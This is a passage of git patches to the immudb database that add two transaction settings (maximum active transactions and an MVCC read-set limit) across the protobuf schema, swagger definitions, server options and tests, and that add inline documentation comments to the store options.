immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 264: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 265: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 266: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 267: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 268: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 269: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 270: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 271: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 202, // [202:272] is the sub-list for method output_type - 132, // [132:202] is the sub-list for method input_type - 132, // [132:132] is the sub-list for extension type_name - 132, // [132:132] is the sub-list for extension extendee - 0, // [0:132] is the sub-list for field type_name + 75, // 78: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 + 75, // 79: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 + 78, // 80: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 79, // 81: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 79, // 82: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 75, // 83: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 79, // 84: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 79, // 85: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 78, // 86: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 75, // 87: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 75, // 88: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 75, // 89: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 90: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool + 75, // 91: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 92: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 93: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 94: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 95: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 96: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 97: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 98: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 99: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 100: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 101: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 102: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 103: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 104: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 105: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 115, // 106: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 94, // 107: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 108: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 96, // 109: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 110: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 111: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 124, // 112: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 125, // 113: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 126, // 114: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 127, // 115: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 116: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 117: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 104, // 118: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 119: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 109, // 120: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 109, // 121: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 115, // 122: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 111, // 123: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 124: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 128, // 125: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 129, // 126: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 113, // 127: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 114, // 128: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 115, // 129: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 130, // 130: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 131: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 115, // 132: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 133: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 134: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 135: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 136: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 137: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 138: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 139: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 140: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 141: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 142: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 143: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 144: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 145: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 146: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 147: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 148: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 149: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 150: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 151: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 152: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 153: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 154: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 155: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 156: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 157: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 158: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 159: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 160: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 161: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 162: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 163: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 164: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 165: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 166: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 167: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 168: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 169: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 170: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 171: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 172: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 173: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 174: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 175: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 176: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 177: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 178: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 179: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 180: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 181: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 182: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 183: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 184: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 185: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 186: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 187: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 188: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 189: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 190: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 191: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 192: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 193: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 194: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 195: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 196: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 197: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 198: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 199: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 200: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 201: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 202: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 203: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 204: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 205: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 206: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 207: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 208: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 209: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 210: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 211: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 212: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 213: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 214: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 215: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 216: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 217: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 218: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 219: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 220: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 221: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 222: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 223: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 224: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 225: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 226: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 227: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 228: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 229: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 230: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 231: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 232: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 233: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 234: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 235: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 236: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 237: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 238: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 239: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 240: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 241: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 242: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 243: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 244: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 245: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 246: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 247: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 248: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 249: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 250: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 251: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 252: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 253: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 254: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 255: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 256: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 257: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 258: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 259: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 260: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 261: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 262: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 263: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 264: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 265: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 266: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 267: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 268: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 269: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 270: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 271: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 272: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 273: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 204, // [204:274] is the sub-list for method output_type + 134, // [134:204] is the sub-list for method input_type + 134, // [134:134] is the sub-list for extension type_name + 134, // [134:134] is the sub-list for extension extendee + 0, // [0:134] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 73a24df389..45d127ffaf 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1022,6 +1022,12 @@ message DatabaseNullableSettings { // Settings of Appendable Hash Tree AHTNullableSettings ahtSettings = 25; + + // Maximum number of pre-committed transactions + NullableUint32 maxActiveTransactions = 26; + + // Limit the number of read entries per transaction + NullableUint32 mvccReadSetLimit = 27; } message ReplicationNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index dfa243b85a..febd322768 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2087,6 +2087,14 @@ "ahtSettings": { "$ref": "#/definitions/schemaAHTNullableSettings", "title": "Settings of Appendable Hash Tree" + }, + "maxActiveTransactions": { + "$ref": "#/definitions/schemaNullableUint32", + "title": "Maximum number of pre-committed transactions" + }, + "mvccReadSetLimit": { + "$ref": "#/definitions/schemaNullableUint32", + "title": "Limit the number of read entries per transaction" } } }, diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index e0dc2793af..fe8957ff8d 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -64,6 +64,8 @@ func TestCreateDatabaseV2(t *testing.T) { MaxValueLen: &schema.NullableUint32{Value: 64}, MaxTxEntries: &schema.NullableUint32{Value: 100}, ExcludeCommitTime: &schema.NullableBool{Value: false}, + MaxActiveTransactions: &schema.NullableUint32{Value: 30}, + MvccReadSetLimit: &schema.NullableUint32{Value: 1_000}, MaxConcurrency: &schema.NullableUint32{Value: 10}, MaxIOConcurrency: &schema.NullableUint32{Value: 2}, TxLogCacheSize: &schema.NullableUint32{Value: 2000}, @@ -105,6 +107,8 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.MaxValueLen.Value, res.Settings.MaxValueLen.Value) require.Equal(t, dbNullableSettings.MaxTxEntries.Value, res.Settings.MaxTxEntries.Value) require.Equal(t, dbNullableSettings.ExcludeCommitTime.Value, res.Settings.ExcludeCommitTime.Value) + require.Equal(t, dbNullableSettings.MaxActiveTransactions.Value, res.Settings.MaxActiveTransactions.Value) + require.Equal(t, dbNullableSettings.MvccReadSetLimit.Value, res.Settings.MvccReadSetLimit.Value) require.Equal(t, dbNullableSettings.MaxConcurrency.Value, res.Settings.MaxConcurrency.Value) require.Equal(t, dbNullableSettings.MaxIOConcurrency.Value, res.Settings.MaxIOConcurrency.Value) require.Equal(t, dbNullableSettings.TxLogCacheSize.Value, res.Settings.TxLogCacheSize.Value) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 1247f8a064..97791b67c8 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -58,6 +58,9 @@ type dbOptions struct { ExcludeCommitTime bool `json:"excludeCommitTime"` + MaxActiveTransactions int `json:"maxActiveTransactions"` + MVCCReadSetLimit int `json:"mvccReadSetLimit"` + MaxConcurrency int `json:"maxConcurrency"` MaxIOConcurrency int `json:"maxIOConcurrency"` @@ -133,6 +136,8 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { ExcludeCommitTime: false, + MaxActiveTransactions: store.DefaultMaxActiveTransactions, + MVCCReadSetLimit: store.DefaultMVCCReadSetLimit, MaxConcurrency: store.DefaultMaxConcurrency, MaxIOConcurrency: store.DefaultMaxIOConcurrency, WriteBufferSize: store.DefaultWriteBufferSize, @@ -246,6 +251,8 @@ func (opts *dbOptions) storeOptions() *store.Options { WithMaxValueLen(opts.MaxValueLen). WithMaxTxEntries(opts.MaxTxEntries). WithWriteTxHeaderVersion(opts.WriteTxHeaderVersion). + WithMaxActiveTransactions(opts.MaxActiveTransactions). + WithMVCCReadSetLimit(opts.MVCCReadSetLimit). WithMaxConcurrency(opts.MaxConcurrency). WithMaxIOConcurrency(opts.MaxIOConcurrency). WithWriteBufferSize(opts.WriteBufferSize). @@ -290,6 +297,9 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin ExcludeCommitTime: &schema.NullableBool{Value: opts.ExcludeCommitTime}, + MaxActiveTransactions: &schema.NullableUint32{Value: uint32(opts.MaxActiveTransactions)}, + MvccReadSetLimit: &schema.NullableUint32{Value: uint32(opts.MVCCReadSetLimit)}, + MaxConcurrency: &schema.NullableUint32{Value: uint32(opts.MaxConcurrency)}, MaxIOConcurrency: &schema.NullableUint32{Value: uint32(opts.MaxIOConcurrency)}, @@ -493,6 +503,13 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul opts.ExcludeCommitTime = settings.ExcludeCommitTime.Value } + if settings.MaxActiveTransactions != nil { + opts.MaxActiveTransactions = int(settings.MaxActiveTransactions.Value) + } + if settings.MvccReadSetLimit != nil { + opts.MVCCReadSetLimit = int(settings.MvccReadSetLimit.Value) + } + if settings.MaxConcurrency != nil { opts.MaxConcurrency = int(settings.MaxConcurrency.Value) } @@ -781,6 +798,8 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.MaxValueLen: %v", database, opts.MaxValueLen) s.Logger.Infof("%s.MaxTxEntries: %v", database, opts.MaxTxEntries) s.Logger.Infof("%s.ExcludeCommitTime: %v", database, opts.ExcludeCommitTime) + s.Logger.Infof("%s.MaxActiveTransactions: %v", database, opts.MaxActiveTransactions) + s.Logger.Infof("%s.MVCCReadSetLimit: %v", database, opts.MVCCReadSetLimit) s.Logger.Infof("%s.MaxConcurrency: %v", database, opts.MaxConcurrency) s.Logger.Infof("%s.MaxIOConcurrency: %v", database, opts.MaxIOConcurrency) s.Logger.Infof("%s.WriteBufferSize: %v", database, opts.WriteBufferSize) From 5a1ddda6baa1e2570a8d05707761126470d14978 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 15:34:34 -0300 Subject: [PATCH 0083/1062] chore(embedded/store): add in-line documentation for store options Signed-off-by: Jeronimo Irazabal --- embedded/store/options.go | 87 ++++++++++++++++++++++++++++++--------- 1 file changed, 67 insertions(+), 20 deletions(-) diff --git a/embedded/store/options.go b/embedded/store/options.go index ae8caa871c..4991820ddf 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -61,30 +61,49 @@ type TimeFunc func() time.Time type Options struct { ReadOnly bool - Synced bool + // Fsync during commit process + Synced bool + + // Fsync frequency during commit process SyncFrequency time.Duration + // Size of the in-memory buffer for write operations WriteBufferSize int FileMode os.FileMode logger logger.Logger - appFactory AppFactoryFunc + appFactory AppFactoryFunc + CompactionDisabled bool + // Maximum number of pre-committed transactions MaxActiveTransactions int - MVCCReadSetLimit int - MaxConcurrency int + // Limit the number of read entries per transaction + MVCCReadSetLimit int + + // Maximum number of simultaneous commits prepared for write + MaxConcurrency int + + // Maximum number of simultaneous IO writes MaxIOConcurrency int + // Size of the LRU cache for transaction logs TxLogCacheSize int - VLogMaxOpenedFiles int - TxLogMaxOpenedFiles int + // Maximum number of simultaneous value files opened + VLogMaxOpenedFiles int + + // Maximum number of simultaneous transaction log files opened + TxLogMaxOpenedFiles int + + // Maximum number of simultaneous commit log files opened CommitLogMaxOpenedFiles int - WriteTxHeaderVersion int + + // Version of transaction header to use (limits available features) + WriteTxHeaderVersion int MaxWaitees int @@ -108,23 +127,51 @@ type Options struct { } type IndexOptions struct { - CacheSize int - FlushThld int - SyncThld int - FlushBufferSize int - CleanupPercentage float32 - MaxActiveSnapshots int - MaxNodeSize int - RenewSnapRootAfter time.Duration - CompactionThld int - DelayDuringCompaction time.Duration - NodesLogMaxOpenedFiles int + // Size of the Btree node LRU cache + CacheSize int + + // Number of new index entries between disk flushes + FlushThld int + + // Number of new index entries between disk flushes with file sync + SyncThld int + + // Size of the in-memory flush buffer (in bytes) + FlushBufferSize int + + // Percentage of node files cleaned up during each flush + CleanupPercentage float32 + + // Maximum number of active btree snapshots + MaxActiveSnapshots int + + // Max size of a single Btree node in bytes + MaxNodeSize int + + // Time in milliseconds between the most recent DB snapshot is automatically renewed + RenewSnapRootAfter time.Duration + + // Minimum number of updates entries in the btree to allow for full compaction + CompactionThld int + + // Additional delay added during indexing when full compaction is in progress + DelayDuringCompaction time.Duration + + // Maximum number of simultaneously opened nodes files + NodesLogMaxOpenedFiles int + + // Maximum number of simultaneously opened node history files HistoryLogMaxOpenedFiles int - CommitLogMaxOpenedFiles int + + // Maximum number of simultaneously opened commit log files + CommitLogMaxOpenedFiles int } type AHTOptions struct { - SyncThld int + // Number of new leaves in the tree between synchronous flush to disk + SyncThld int + + // Size of the in-memory write buffer WriteBufferSize int } From 7053370096fb4a316ddbab970b013924192e18c9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 15:40:17 -0300 Subject: [PATCH 0084/1062] chore(embedded/store): minor code improvement Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 12 ++++++++---- embedded/store/ongoing_tx_keyreader.go | 2 +- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index fe6844d9a5..4f46c0b9d4 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -237,6 +237,10 @@ func (tx *OngoingTx) AddPrecondition(c Precondition) error { return nil } +func (tx *OngoingTx) mvccReadSetLimitReached() bool { + return tx.readsetSize == tx.st.mvccReadSetLimit +} + func (tx *OngoingTx) Delete(key []byte) error { valRef, err := tx.Get(key) if err != nil { @@ -274,7 +278,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, filters: filters, } - if tx.readsetSize == tx.st.mvccReadSetLimit { + if 